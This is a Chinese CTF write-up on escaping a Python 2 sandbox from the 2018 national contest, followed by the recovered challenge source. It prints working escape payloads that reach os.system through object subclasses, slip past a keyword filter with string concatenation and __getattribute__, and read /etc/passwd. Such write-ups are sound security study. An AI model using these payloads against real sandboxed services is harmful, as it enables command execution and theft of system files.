0x00 前言
ctf2018国赛的一道题目
拿到题目,nc连接之后得到一个命令交互会话。
根据提示是个python环境,并且要拿到shell获取flag。那么很明显了,这是一个python沙箱环境,要进行逃逸获取shell。
0x01 题目分析
首先尝试导入能执行系统命令的模块,当然,直接给报错了。然后又尝试一下import其他不敏感的模块,全都是返回ban。那么这里应该是对所有Import进行了拦截。
那么直接上一种彪悍的方式,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的1
Payload: ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
但是就是在这里出现了一个很头疼的事,这个沙箱还过滤了敏感命令,比如os,ls ,sys,cat全都进行了过滤。而非常巧的是,func_globals里面包含了ls这个字符串,而这里又不能用字符串拼接的方式进行拼接。在这里饶了一大圈,尝试几种方式都没有成功。然后查了一大波文档,最终找到了一个非常有意思的方式 getattribute 。参考https://developers.google.com/protocol-buffers/docs/reference/python/type-class
示例:1
x.__getattribute__('name') <==> x.name
那么这里可以看出,object x可以使用getattribute方法,这样name就变为字符串,也就达到了我们可以拼接的要求。
那么上面的payload可以改为:1
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem'] ('l'+'s')
成功拿到一个shell。
0x02 通用payload
文件读取:1
2a="".__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
a="".__class__.__mro__[-1].__subclasses__()[40]("/root/run.py").read()
python shell-命令执行:1
2
3
4().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t'+' home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t'+' home/ctf/cpython')
0x03 题目源码
读取到题目源码
sandbox.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-04-09 23:30:58
# @Author : Xu (you@example.org)
# @Link : https://xuccc.github.io/
# @Version : $Id$
from sys import modules
from cpython import get_dict
from types import FunctionType
main = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__
def delete_type():
type_dict = get_dict(type)
del type_dict['__bases__']
del type_dict['__subclasses__']
def delete_func_code():
func_dict = get_dict(FunctionType)
del func_dict['func_code']
def safe_import(__import__,whiteList):
def importer(name,globals={},locals={},fromlist=[],level=-1):
if name in whiteList:
return __import__(name,globals,locals,fromlist,level)
else:
print "HAHA,[%s] has been banned~" % name
return importer
class ReadOnly(dict):
"""docstring for ReadOnlu"""
def __delitem__(self,keys):
raise ValueError(":(")
def pop(self,key,default=None):
raise ValueError(":(")
def popitem(self):
raise ValueError(":(")
def setdefault(self,key,value):
raise ValueError(":(")
def __setitem__(self,key,value):
raise ValueError(":(")
def __setattr__(self, name, value):
raise ValueError(":(")
def update(self,dict,**kwargs):
raise ValueError(":(")
def builtins_clear():
whiteList = "raw_input SyntaxError ValueError NameError Exception __import__".split(" ")
for mod in __builtins__.__dict__.keys():
if mod not in whiteList:
del __builtins__.__dict__[mod]
def input_filter(string):
ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
for i in ban:
if i in string.lower():
print "{} has been banned!".format(i)
return ""
return string
# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear
whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins
del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__
print """
____
| _ \ _ _ _ __
| |_) | | | | '_ \
| _ <| |_| | | | |
|_| \_\\__,_|_| |_|
Escape from the dark house built with python :)
Try to getshell then find the flag!
"""
while 1:
inp = raw_input('>>>')
cmd = input_filter(inp)
try:
exec cmd
except NameError, e:
print "wow something lose!We can\'t find it ! D:"
except SyntaxError,e:
print "Noob! Synax Wrong! :("
except Exception,e:
print "unknow error,try again :>"
cpython.py
1 | from ctypes import pythonapi,POINTER,py_object |
0x04 参考文章
https://paper.tuisec.win/detail/430721803508f2e
https://developers.google.com/protocol-buffers/docs/reference/python/type-class